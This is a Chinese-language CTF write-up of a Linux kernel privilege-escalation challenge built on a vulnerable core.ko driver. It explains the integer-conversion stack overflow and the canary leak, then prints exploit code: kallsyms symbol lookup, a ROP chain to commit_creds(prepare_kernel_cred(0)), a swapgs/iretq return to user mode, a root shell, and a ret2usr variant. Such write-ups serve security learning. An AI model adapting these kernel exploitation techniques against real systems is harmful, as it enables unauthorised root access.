一、使用Kernel_ROP
1.首先解包,查看init设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #注释头
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko
poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys
poweroff -d 0 -f
|
注意三个地方:
1 2 3 4 5 6 7
| //注释头
echo 1 > /proc/sys/kernel/kptr_restrict cat /proc/kallsyms > /tmp/kallsyms ------------------------------------------------------------ insmod /core.ko ------------------------------------------------------------- setsid /bin/cttyhack setuidgid 1000 /bin/sh
|
(1)把/proc/kallsysm拷贝到tmp文件夹下一份,而kallsysm中保存了加载内核之后几乎所有的函数调用:
由于被kptr_restrict设为 1,这样就不能通过 /proc/kallsyms查看函数地址了,但是这里把kallsysm拷贝到了tmp文件夹下,那么就可以从tmp文件夹下的kallsysm找到所有需要的地址,包括gadget。
(2)insmod /core.ko,挂载了目录下的core.ko驱动程序,通常这个驱动程序就是漏洞的所在点,用IDA打开分析。
(3)setsid /bin/cttyhack setuidgid 1000 /bin/sh,这个就是设置用户权限了,1000为权限ID,如果设置为0就是root权限了,为了调试,可以先设置成0方便点。
2.再看下start.sh启动qemu的设置:
1 2 3 4 5 6 7 8 9 10
| #注释头
qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
可以看到加载了core.ko驱动,并且开启了kaslr。
3.然后分析下core.ko代码,漏洞点在core_copy_func函数和core_write函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #注释头
#core_write函数: if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
#core_copy_func函数: __int64 v2; // [rsp+0h] [rbp-50h] ------------------------------------------------------- if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFFLL; } else { qmemcpy(&v2, &name, (unsigned __int16)a1); }
|
(1)name是全局变量,core_write函数从用户空间拷贝了v3长度到name中,而core_write函数可以通过exp中调用write,write(core_fd, data, 0x800);打开该驱动从而调用驱动中的core_write函数,将我们的data写入到name中。
(2)之后由于core_copy_func函数可以通过ioctl函数直接传参调用,所以其中的a1受到我们控制,然后对a1的检查又只有一个if(a1>63),存在整数转换的漏洞,也就是如果a1为负数,就能够通过if语句,那么通过qmemcpy(&v2, &name, (unsigned __int16)a1);函数的隐形转换,就可以从name拷贝很大的数据到v2上,而v2在内核栈上,那么就可以对内核栈进行栈溢出。
4.可以构造rop链尝试了,但是这里还有一个canary,Leak漏洞在core_read和ioctl函数上:
1 2 3 4 5 6 7 8 9 10 11 12
| #注释头
#core_read函数: __int64 v5; -------------------------------------------------------- result = copy_to_user(v1, (char *)&v5 + off, 64LL);
#ioctl函数: case 0x6677889C: printk(&unk_2CD); off = v3; break;
|
off是全局变量,可以通过调用ioctl函数来设置。v5是core_read内核函数栈上的变量,可以使得off适当大一些,从而泄露出canary。
5.现在尝试构造exp:
(1)首先找地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| //注释头
//找到内核加载基地址vmlinux_base和prepare_kernel_cred函数、commit_creds函数地址 size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); }
char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0;
if(strstr(buf, "commit_creds") && !commit_creds) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); /* printf("hex: %s\n", hex); */ sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); }
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; /* printf("vmlinux_base addr: %p\n", vmlinux_base); */ } }
if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } }
|
这里的0x9c8e0和0x9cce0都是通过ROPgadget查找vmlinux找出来的,不过找到的地址是相对偏移加上了0xffffffff81000000,所以这里需要减去得到相对偏移。
(2)然后泄露canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| //注释头
void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf); } ---------------------------------------------------------------------- void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); } --------------------------------------------------------------------- set_off(fd, 0x40);
char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary); //这里fd为int fd = open("/proc/core", 2);
|
(3)构造rop链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| //注释头
ssize_t offset = vmlinux_base - 0xffffffff81000000; size_t rop[0x1000] = {0}; for(int i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs; // cs rop[i++] = user_rflags; // rflags rop[i++] = user_sp; // rsp rop[i++] = user_ss;
|
这里rop链构造一般分为
①覆盖返回地址,执行commit_creds(prepare_kernel_cred(0) )函数,提权,即:
1 2 3 4 5 6 7 8 9 10
| //注释头
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;
|
②通过swapgs和iretq返回用户态:
1 2 3 4 5 6
| //注释头
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
|
▲这里的swapgs和iretq最好用objdump -d vmlinux > gadget来保存寻找,如果用ROPgadget或者ropper可能不识别,从而无法找到。
③着陆开shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| //注释头
void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } ---------------------------------------------------- rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs; // cs rop[i++] = user_rflags; // rflags rop[i++] = user_sp; // rsp rop[i++] = user_ss; // ss
|
(4)最后输入rop链,提权执行:
1 2 3 4 5 6 7 8 9 10
| //注释头
void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); } -------------------------------------------------------------- write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100));
|
▲需要注意的是在程序进入内核态之前需要保存下用户态的参数,不然之后没办法返回用户态开shell:
1 2 3 4 5 6 7 8 9 10 11
| size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
|
二、使用Ret2usr技术:
1.在这道题中与ROP差不多,唯一的区别在于提权的时候:
(1)ROP技术中,利用思想和常规pwn题一样,rdi传参之后寻找Gadget来调用commit_creds(prepare_kernel_cred(0))。
(2)Ret2Usr技术中,由于我们是直接运行我们的二进制文件exp,所以在exp文件内声明定义的函数会被加载到exp的进程中,可以直接在exp中调用,不需要rop。但是这里如果直接调用system(“/bin/sh”)没什么用,权限仍然不是root,还是需要调用commit_creds(prepare_kernel_cred(0))提权才行,所以这里就可以利用泄露出来的地址直接构造该函数调用即可,而不用再rop来调用了。
就相当于将以下代码替换一下:
1 2 3 4 5 6 7 8 9 10
| //注释头
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;
|
替换成:
1 2 3 4 5 6 7 8 9 10 11 12
| //注释头
rop[i++] = (size_t)get_root; ------------------------------------------------ //函数定义为: void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); /* puts("[*] root now."); */ }
|
最开始我想为什么不直接运行调用,后面才知道是特权模式问题。如果直接调用,就会出现访问错误,因为我们构造的函数的函数地址是在内核空间中,而用户空间是无法运行内核空间的函数。所以需要调用write(fd, rop, 0x30 * 8);进入到内核空间,获得特权模式下ring0的权限,然后运行用户空间的get_root()函数,再进入到内核空间寻找对于的commit_creds函数和prepare_kernel_cred(0)结构体,从而提权。
参考资料:
ctfwiki